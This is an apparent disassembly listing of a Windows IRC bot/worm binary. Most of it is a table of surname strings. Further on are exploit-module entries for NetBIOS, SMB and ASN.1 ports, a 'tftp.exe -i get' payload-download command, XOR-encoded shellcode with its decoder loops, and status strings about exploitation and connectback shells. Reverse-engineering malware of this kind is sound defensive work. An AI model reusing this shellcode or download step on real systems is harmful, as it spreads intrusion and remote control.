aCurrier	db 'Currier',0          ; DATA XREF: ___:0042D9E8o
aCui		db 'Cui',0              ; DATA XREF: ___:0042D9E4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042D9E0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042D9DCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042D9D8o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042D9D4o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042D9D0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9CCo
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9C8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9C4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9C0o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9BCo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9B8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9B4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9B0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9ACo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9A4o
					; ___:0042D9A8o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9A0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D99Co
aColella	db 'Colella',0          ; DATA XREF: ___:0042D998o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D994o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D990o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D98Co
aClow		db 'Clow',0             ; DATA XREF: ___:0042D988o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D984o
aClement	db 'Clement',0          ; DATA XREF: ___:0042D980o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D97Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D978o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D974o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D970o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D96Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D968o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042D964o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D960o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D95Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D958o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D954o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D950o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D94Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D948o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D944o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D940o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D93Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D938o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D934o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D930o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D92Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D928o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D924o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D920o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D91Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D918o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D914o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D910o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D90Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D908o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D904o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D900o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D8FCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D8F8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D8F4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D8F0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D8ECo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D8E8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D8E4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D8DCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D8D8o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D8D4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D8D0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8CCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8C8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8C4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8C0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8BCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8B8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8B4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8B0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8ACo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8A8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8A4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8A0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D89Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D898o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D894o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D890o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D88Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D888o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D884o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D880o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D87Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D878o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D874o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D870o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D86Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D868o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D864o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D860o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D858o
					; ___:0042D85Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D854o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D850o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D84Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D848o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D844o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D840o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D83Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D838o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D834o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D830o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D82Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D828o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D824o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D820o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D81Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D818o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D814o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D810o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D80Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D808o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D804o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D800o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D7FCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D7F8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D7F4o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D7F0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D7ECo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D7E8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D7E4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D7E0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D7DCo
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D7D8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D7D4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D7D0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7C8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7C4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7C0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7BCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7B8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7B4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7B0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7ACo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7A8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7A4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7A0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D79Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D798o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D794o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D790o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D78Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D788o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D784o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D780o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D77Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D778o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D774o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D770o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D76Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D768o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D764o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D760o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D75Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D758o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D754o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D750o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D74Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D748o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D744o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D740o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D73Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D738o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D734o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D730o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D72Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D728o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D724o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D720o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D71Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D718o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D714o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D710o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D70Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D708o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D704o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D700o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D6FCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D6F8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D6F4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D6F0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D6ECo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D6E8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D6E4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D6E0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D6DCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D6D8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D6D4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D6D0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6CCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6C8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6C4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6C0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6BCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6B8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6B4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6B0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6ACo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6A8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6A4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6A0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D69Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D698o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D694o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D690o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D68Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D688o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D684o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D680o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D67Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D678o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D674o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D670o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D66Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D668o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D664o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D660o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D65Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D658o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D654o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D650o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D64Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D648o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D644o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D640o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D63Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D638o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D634o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D630o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D62Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D628o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D624o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D620o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D61Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D618o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D614o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D610o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D60Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D608o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D604o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D600o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D5FCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D5F8o
		align 10h
byte_431250	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431254	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431258	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431260	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431264	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431268	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43126C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431270	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_431274	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431278	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_43127C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431280	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431288	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431298
; ---------------------------------------------------------------------------


loc_431296:				; CODE XREF: ___:loc_431298p
		jmp	short loc_43129D
; ---------------------------------------------------------------------------


loc_431298:				; CODE XREF: ___:00431294j
		call	loc_431296


loc_43129D:				; CODE XREF: ___:loc_431296j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_4312A4:				; CODE XREF: ___:004312A9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312A4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4312BA:				; CODE XREF: ___:004312BFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312BA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43135C
		jnz	short loc_431348
		retn
; ---------------------------------------------------------------------------


loc_431348:				; CODE XREF: ___:00431345j
					; ___:00431355j
		call	near ptr loc_43134D+1


loc_43134D:				; CODE XREF: ___:loc_431348p
		add	[edx+0], ch
		call	sub_43135C
		jz	loc_431348
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43135C	proc near		; CODE XREF: ___:00431340p
					; ___:00431350p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43135C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431408	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43140C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431410	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431414	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431418	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43141C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4315EA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431616

; =============== S U B	R O U T	I N E =======================================



sub_431606	proc near		; CODE XREF: sub_431606:loc_431616p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43160E:				; CODE XREF: sub_431606+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43160E
		jmp	short loc_43161B
; ---------------------------------------------------------------------------


loc_431616:				; CODE XREF: ___:00431604j
		call	sub_431606


loc_43161B:				; CODE XREF: sub_431606+Ej
		jo	short near ptr dword_4315A4+12h
		cwde
		cdq
		cdq
		retn
sub_431606	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_431798	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317A4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317C4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43180C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431848	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431858	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431874	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318A8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
